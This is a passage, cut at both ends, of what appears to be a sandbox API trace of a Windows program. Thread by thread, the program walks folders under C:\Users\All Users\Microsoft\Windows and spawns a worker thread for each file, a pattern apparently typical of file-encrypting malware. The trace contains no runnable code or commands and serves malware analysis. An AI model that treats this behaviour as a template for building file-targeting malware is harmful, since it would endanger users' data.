cAlternateFileName="")) returned 0 [0149.344] FindClose (in: hFindFile=0x9422f0 | out: hFindFile=0x9422f0) returned 1 [0149.344] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91ed60) returned 1 [0149.344] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99df08) returned 1 [0149.344] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d0a00) returned 1 Thread: id = 2697 os_tid = 0x16c4 [0147.704] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x56) returned 0x8ff608 [0147.704] wcscpy (in: _Dest=0x8ff608, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" [0147.704] wcscat (in: _Dest=0x8ff608, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\" [0147.705] wcscat (in: _Dest=0x8ff608, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*" [0147.705] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91d7b8 [0147.705] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9421b0 [0147.705] wcscmp (_String1=".", _String2=".") returned 0 [0147.705] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.705] wcscmp (_String1="..", _String2=".") returned 1 [0147.705] wcscmp (_String1="..", _String2="..") returned 0 [0147.705] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0147.705] wcscmp (_String1="Cache", _String2=".") returned 1 [0147.705] wcscmp (_String1="Cache", _String2="..") returned 1 [0147.705] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5e) returned 0x90edb8 [0147.705] wcscpy (in: _Dest=0x90edb8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" [0147.705] wcscat (in: _Dest=0x90edb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\" [0147.705] wcscat (in: _Dest=0x90edb8, _Source="Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache") returned="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache" [0149.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90edb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13d8 [0149.346] FindNextFileW (in: hFindFile=0x9421b0, lpFindFileData=0x91d7b8 | out: lpFindFileData=0x91d7b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 0 [0149.346] FindClose (in: hFindFile=0x9421b0 | out: hFindFile=0x9421b0) returned 1 [0149.346] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91d7b8) returned 1 [0149.346] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff608) returned 1 [0149.346] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fed08) returned 1 Thread: id = 2698 os_tid = 0x16c8 [0147.706] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x68) returned 0x8f12f8 [0147.706] wcscpy (in: _Dest=0x8f12f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer") returned="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer" [0147.706] wcscat (in: _Dest=0x8f12f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\" [0147.706] wcscat (in: _Dest=0x8f12f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*" [0147.706] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91cbb0 [0147.706] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941f70 [0147.706] wcscmp (_String1=".", _String2=".") returned 0 [0147.706] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.706] wcscmp (_String1="..", _String2=".") returned 1 [0147.706] wcscmp (_String1="..", _String2="..") returned 0 [0147.706] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0147.706] FindClose (in: hFindFile=0x941f70 | out: hFindFile=0x941f70) returned 1 [0147.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91cbb0) returned 1 [0147.706] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f12f8) returned 1 [0147.707] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f0fe8) returned 1 Thread: id = 2699 os_tid = 0x16cc [0147.707] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e6758 [0147.707] wcscpy (in: _Dest=0x8e6758, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" [0147.707] wcscat (in: _Dest=0x8e6758, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\" [0147.708] wcscat (in: _Dest=0x8e6758, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*" [0147.708] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91cbb0 [0147.708] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0147.708] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91cbb0) returned 1 [0147.708] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 [0147.708] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e74d8) returned 1 Thread: id = 2700 os_tid = 0x16d0 [0147.709] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f0fe8 [0147.709] wcscpy (in: _Dest=0x8f0fe8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0147.709] wcscat (in: _Dest=0x8f0fe8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0147.709] wcscat (in: _Dest=0x8f0fe8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*" [0147.709] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91cbb0 [0147.709] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941f70 [0147.709] wcscmp (_String1=".", _String2=".") returned 0 [0147.709] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.709] wcscmp (_String1="..", _String2=".") returned 1 [0147.709] wcscmp (_String1="..", _String2="..") returned 0 [0147.709] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x264, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0147.709] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0147.709] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0147.709] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x31469, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 01.wma", cAlternateFileName="RINGTO~3.WMA")) returned 1 [0147.710] wcscmp (_String1="Ringtone 01.wma", _String2=".") returned 1 [0147.710] wcscmp (_String1="Ringtone 01.wma", _String2="..") returned 1 [0147.710] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f8b38 [0147.710] wcscpy (in: _Dest=0x8f8b38, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0147.710] wcscat (in: _Dest=0x8f8b38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0147.710] wcscat (in: _Dest=0x8f8b38, _Source="Ringtone 01.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" [0149.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8b38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13dc [0149.348] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 02.wma", cAlternateFileName="RI5404~1.WMA")) returned 1 [0149.348] wcscmp (_String1="Ringtone 02.wma", _String2=".") returned 1 [0149.348] wcscmp (_String1="Ringtone 02.wma", _String2="..") returned 1 [0149.348] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7680 [0149.348] wcscpy (in: _Dest=0x8f7680, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.348] wcscat (in: _Dest=0x8f7680, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.348] wcscat (in: _Dest=0x8f7680, _Source="Ringtone 02.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" [0149.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1750 [0149.349] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 03.wma", cAlternateFileName="RI0FCF~1.WMA")) returned 1 [0149.349] wcscmp (_String1="Ringtone 03.wma", _String2=".") returned 1 [0149.349] wcscmp (_String1="Ringtone 03.wma", _String2="..") returned 1 [0149.349] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7460 [0149.349] wcscpy (in: _Dest=0x8f7460, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.349] wcscat (in: _Dest=0x8f7460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.349] wcscat (in: _Dest=0x8f7460, _Source="Ringtone 03.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" [0149.349] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1754 [0149.350] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a039, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 04.wma", cAlternateFileName="RINGTO~4.WMA")) returned 1 [0149.351] wcscmp (_String1="Ringtone 04.wma", _String2=".") returned 1 [0149.351] wcscmp (_String1="Ringtone 04.wma", _String2="..") returned 1 [0149.351] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f86f8 [0149.351] wcscpy (in: _Dest=0x8f86f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.351] wcscat (in: _Dest=0x8f86f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.351] wcscat (in: _Dest=0x8f86f8, _Source="Ringtone 04.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" [0149.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f86f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1758 [0149.352] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1b6e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 05.wma", cAlternateFileName="RINGTO~1.WMA")) returned 1 [0149.352] wcscmp (_String1="Ringtone 05.wma", _String2=".") returned 1 [0149.352] wcscmp (_String1="Ringtone 05.wma", _String2="..") returned 1 [0149.352] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f8780 [0149.352] wcscpy (in: _Dest=0x8f8780, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.352] wcscat (in: _Dest=0x8f8780, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.352] wcscat (in: _Dest=0x8f8780, _Source="Ringtone 05.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" [0149.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x175c [0149.353] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 06.wma", cAlternateFileName="RIF0DC~1.WMA")) returned 1 [0149.353] wcscmp (_String1="Ringtone 06.wma", _String2=".") returned 1 [0149.353] wcscmp (_String1="Ringtone 06.wma", _String2="..") returned 1 [0149.353] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7ac0 [0149.354] wcscpy (in: _Dest=0x8f7ac0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.354] wcscat (in: _Dest=0x8f7ac0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.354] wcscat (in: _Dest=0x8f7ac0, _Source="Ringtone 06.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" [0149.354] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7ac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1760 [0149.355] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x170f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 07.wma", cAlternateFileName="RID564~1.WMA")) returned 1 [0149.355] wcscmp (_String1="Ringtone 07.wma", _String2=".") returned 1 [0149.355] wcscmp (_String1="Ringtone 07.wma", _String2="..") returned 1 [0149.355] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7e78 [0149.355] wcscpy (in: _Dest=0x8f7e78, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.355] wcscat (in: _Dest=0x8f7e78, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.355] wcscat (in: _Dest=0x8f7e78, _Source="Ringtone 07.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" [0149.355] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7e78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1764 [0149.356] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: lpFindFileData=0x91cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80366a76, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x21fbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtone 08.wma", cAlternateFileName="RINGTO~2.WMA")) returned 1 [0149.356] wcscmp (_String1="Ringtone 08.wma", _String2=".") returned 1 [0149.356] wcscmp (_String1="Ringtone 08.wma", _String2="..") returned 1 [0149.356] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f8890 [0149.356] wcscpy (in: _Dest=0x8f8890, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" [0149.356] wcscat (in: _Dest=0x8f8890, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\" [0149.356] wcscat (in: _Dest=0x8f8890, _Source="Ringtone 08.wma" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" [0149.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1768 [0149.357] FindNextFileW (in: hFindFile=0x941f70, lpFindFileData=0x91cbb0 | out: 